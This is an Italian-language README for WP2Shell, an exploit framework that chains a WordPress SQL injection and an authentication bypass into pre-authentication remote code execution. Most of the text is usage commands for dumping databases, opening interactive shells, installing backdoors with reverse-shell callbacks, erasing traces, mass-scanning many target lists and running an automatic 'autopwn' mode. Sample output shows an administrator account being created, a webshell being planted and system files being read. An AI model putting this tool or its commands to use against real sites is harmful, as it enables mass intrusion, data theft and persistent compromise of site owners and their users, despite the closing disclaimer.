
Framework modulare di exploit pre-autenticazione per WordPress che combina SQL injection e bypass dell'autenticazione per fornire esecuzione remota di codice, shell interattive, backdoor e scansione massiva delle vulnerabilità.
CVE-2026-63030 + CVE-2026-60137
Versione: 4.0.0
Autore: G0D150NE
WP2Shell è uno strumento di exploit a catena completa per l'esecuzione remota di codice pre-autenticazione su WordPress. Combina due vulnerabilità critiche:
Questo strumento consente il compromesso completo di installazioni WordPress vulnerabili senza alcuna autenticazione - dalla rilevazione alla piena RCE e persistenza.
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell
# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]
python3 wp2shell.py check https://target.com
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5
Fingerprint di base:
python3 wp2shell.py read https://target.com
Estrai utenti:
python3 wp2shell.py read https://target.com --preset users
Query personalizzata:
python3 wp2shell.py read https://target.com --query "SELECT @@version"
Dump dell'intero database:
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096
Exploit di base:
python3 wp2shell.py exploit https://target.com
Exploit con shell interattiva:
python3 wp2shell.py exploit https://target.com --interactive
Exploit con installazione di backdoor:
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444
Exploit con dump del database:
python3 wp2shell.py exploit https://target.com --dumpdb
Exploit con pulizia (rimozione tracce):
python3 wp2shell.py exploit https://target.com --cleanup
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100
Questo:
Dopo lo sfruttamento, ottieni una shell interattiva completa:
python3 wp2shell.py exploit https://target.com -i
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit
SQL Injection (CVE-2026-63030)
/wp-json/batch/v1author_exclude è vulnerabile a SQLi blind basata sul tempoBypass dell'autenticazione (CVE-2026-60137)
/_embed░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░
CVE-2026-63030 + CVE-2026-60137
WordPress Pre-Auth RCE [v4.0.0]
+ G0D150NE
[1/7] Reconnaissance
Target: https://target.com
WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)
[2/7] Enumerating target
[+] Discovered table prefix: wp_
[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/
[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered
[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]
[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain
[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
uid: www-data
[+] ========================================================
[+] TARGET COMPROMISED
[+] Admin: wp_service_a1b2 / G7hK9xQw2p$L!mN
[+] Shell: https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'utilizzo su sistemi senza esplicita autorizzazione è illegale. Gli autori non si assumono alcuna responsabilità per un uso improprio.
Trovato un bug? Vuoi migliorare lo strumento? Le pull request sono benvenute!
Licenza MIT - Consulta il file LICENSE per i dettagli.
| Command | Description |
|---|
check | Conferma non distruttiva della vulnerabilità |
read | Estrai dati tramite SQL injection |
exploit | Catena RCE pre-auth completa |
shell | Distribuisci webshell con credenziali esistenti |
masscan | Scansione di massa di più target |
autopwn | Scoperta automatica → scansione → exploit |
| Option | Description |
|---|
--timeout | Timeout HTTP in secondi (default: 30) |
--proxies | Elenco proxy separato da virgole (es. http://127.0.0.1:8080) |
--stealth | Abilita la modalità stealth con ritardi casuali |
-v, --verbose | Abilita l'output di debug |
-q, --quiet | Sopprime banner e messaggi informativi |
| Option | Description |
|---|
--prefix | Prefisso delle tabelle (default: wp_) |
--auto-prefix | Auto-scoperta del prefisso delle tabelle |
--max-length | Numero massimo di caratteri per valore (default: 128) |
--technique | Tecnica di estrazione: auto/union/error/blind |
--preset | Preset di dati: fingerprint/users/dumpall |
--query | Espressione SQL arbitraria da estrarre |
| Option | Description |
|---|
--prefix | Prefisso delle tabelle (default: wp_) |
--no-discover | Salta l'auto-scoperta, usa i valori predefiniti |
-i, --interactive | Entra in una shell dopo lo sfruttamento |
-c, --command | Esegui un singolo comando dopo lo sfruttamento |
--backdoor | Installa una backdoor di persistenza |
--lhost | LHOST per la reverse shell (default: 10.0.0.1) |
--lport | LPORT per la reverse shell (default: 4444) |
--dumpdb | Esegue il dump del database dopo lo sfruttamento |
--cleanup | Elimina l'utente creato e la webshell all'uscita |
| Version | Status |
|---|
| 6.9.0 | ✅ Vulnerabile |
| 6.9.1 | ✅ Vulnerabile |
| 6.9.2 | ✅ Vulnerabile |
| 6.9.3 | ✅ Vulnerabile |
| 6.9.4 | ✅ Vulnerabile |
| 7.0.0 | ✅ Vulnerabile |
| 7.0.1 | ✅ Vulnerabile |
| ≥ 7.0.2 | ❌ Patchata |
| Technique | Speed | Data Size | Requirements |
|---|
| UNION | ⚡ Molto veloce | Illimitato | Il target non deve filtrare UNION |
| Error | 🚀 Veloce | ~30 caratteri/richiesta | Il target deve esporre messaggi di errore |
| Blind | 🐢 Lenta | Illimitato | Oracle booleano disponibile |